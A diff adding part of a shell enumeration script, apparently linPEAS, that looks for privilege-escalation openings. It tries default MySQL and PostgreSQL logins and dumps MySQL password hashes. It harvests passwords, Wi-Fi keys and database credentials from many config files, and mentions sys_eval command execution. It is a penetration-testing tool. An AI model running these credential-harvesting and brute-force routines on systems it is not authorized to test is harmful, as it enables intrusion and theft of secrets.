+if [ "$MACPEAS" ]; then
+ print_2title "Writable Installed Applications"
+ system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
+ if [ -w "$f" ]; then
+ echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+ done
+
+ system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
+ if [ -w "$f" ]; then
+ echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+ done
+fi
+
+#-- SI) MySQL version
+if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
+ print_2title "MySQL version"
+ mysql --version 2>/dev/null || echo_not_found "mysql"
+ mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
+ if [ "$mysqluser" ]; then
+ echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ fi
+ echo ""
+ echo ""
+
+ #-- SI) MySQL connection root/root
+ print_list "MySQL connection using default root/root ........... "
+ mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null)
+ if [ "$mysqlconnect" ]; then
+ echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ #-- SI) MySQL connection root/toor
+ print_list "MySQL connection using root/toor ................... "
+ mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null)
+ if [ "$mysqlconnect" ]; then
+ echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ #-- SI) MySQL connection root/NOPASS
+ mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null)
+ print_list "MySQL connection using root/NOPASS ................. "
+ if [ "$mysqlconnectnopass" ]; then
+ echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+ echo ""
+fi
+
+#-- SI) MySQL credentials
+if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
+ print_2title "Searching mysql credentials and exec"
+ printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
+ if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
+ STRINGS="`command -v strings`"
+ echo "Potential file containing credentials:"
+ ls -l "$d"
+ if [ "$STRINGS" ]; then
+ strings "$d"
+ else
+ echo "Strings not found, cat the file and check it to get the creds"
+ fi
+
+ else
+ for f in $(find $d -name debian.cnf 2>/dev/null); do
+ if [ -r "$f" ]; then
+ echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
+ cat "$f"
+ fi
+ done
+
+ for f in $(find $d -name user.MYD 2>/dev/null); do
+ if [ -r "$f" ]; then
+ echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
+ grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
+ fi
+ done
+
+ for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
+ if [ -r "$f" ]; then
+ u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
+ echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ fi
+ done
+
+ for f in $(find $d -name my.cnf 2>/dev/null); do
+ if [ -r "$f" ]; then
+ echo "Found readable $f"
+ grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
+ fi
+ done
+ fi
+
+ mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
+ if [ "$mysqlexec" ]; then
+ echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
+ echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ done
+fi
+echo ""
+
+if [ "$PSTORAGE_MARIADB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing MariaDB Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*" | sed -${E} "s,user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_POSTGRESQL" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PostgreSQL Files (limit 70)"
+ echo "Version: $(warn_exec psql -V 2>/dev/null)"
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin*.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin4\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin4.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin4\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin4\.db$,${SED_RED},"; done; echo "";
+fi
+
+
+#-- SI) PostgreSQL brute
+if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it.
+# Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
+ print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ "
+ if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
+ if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... "
+ if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+
+ print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... "
+ if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
+ else echo_no
+ fi
+ echo ""
+fi
+
+if [ "$PSTORAGE_MONGO" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Mongo Files (limit 70)"
+ echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"
+ if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi
+ if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mongod*.conf"; fi; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_APACHE_NGINX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Apache-Nginx Files (limit 70)"
+ echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"
+ echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)"
+ if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi
+ if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi
+ print_3title 'PHP exec extensions'
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"sites-enabled$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites-enabled"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites-enabled$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"000-default\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "000-default.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "000-default\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,000-default\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"php\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "php.ini"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "php\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,php\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E allow_ | grep -Ev "^;" | sed -${E} "s,On,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx$,${SED_RED},"; find "$f" -name "*.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_TOMCAT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Tomcat Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "tomcat-users.xml"; fi; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FASTCGI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing FastCGI Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fastcgi_params"; fi; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_HTTP_CONF" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Http conf Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "httpd.conf"; fi; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_HTPASSWD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Htpasswd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".htpasswd"; fi; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PHP_SESSIONS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PHP Sessions Files (limit 70)"
+ ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions
+ if ! [ "`echo \"$PSTORAGE_PHP_SESSIONS\" | grep -E \"sess_.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sess_*"; fi; fi; printf "%s" "$PSTORAGE_PHP_SESSIONS" | grep -E "sess_.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WORDPRESS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Wordpress Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wp-config.php"; fi; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_DRUPAL" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Drupal Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "settings.php"; fi; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_MOODLE" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Moodle Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.php"; fi; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SUPERVISORD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Supervisord Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "supervisord.conf"; fi; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CESI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cesi Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cesi.conf"; fi; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_RSYNC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Rsync Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.conf"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.secrets"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_HOSTAPD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Hostapd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hostapd.conf"; fi; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WIFI_CONNECTIONS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Wifi Connections Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WIFI_CONNECTIONS\" | grep -E \"system-connections$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system-connections"; fi; fi; printf "%s" "$PSTORAGE_WIFI_CONNECTIONS" | grep -E "system-connections$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system-connections$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "psk.*" | sed -${E} "s,psk.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ANACONDA_KS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Anaconda ks Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "anaconda-ks.cfg"; fi; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E "anaconda-ks\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_VNC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing VNC Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".vnc"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vnc$,${SED_RED},"; find "$f" -name "passwd" | while read ff; do ls -ld "$ff" | sed -${E} "s,passwd,${SED_RED},"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.c*nf*"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.ini"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.txt"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.xml"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_OPENVPN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing OpenVPN Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_OPENVPN\" | grep -E \"\.ovpn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ovpn"; fi; fi; printf "%s" "$PSTORAGE_OPENVPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_LDAP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Ldap Files (limit 70)"
+ echo "The password hash is from the {SSHA} to 'structural'"
+ if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ldap"; fi; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ldap$,${SED_RED},"; find "$f" -name "*.bdb" | while read ff; do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then
+ print_2title "Searching Log4Shell vulnerable libraries"
+ printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do
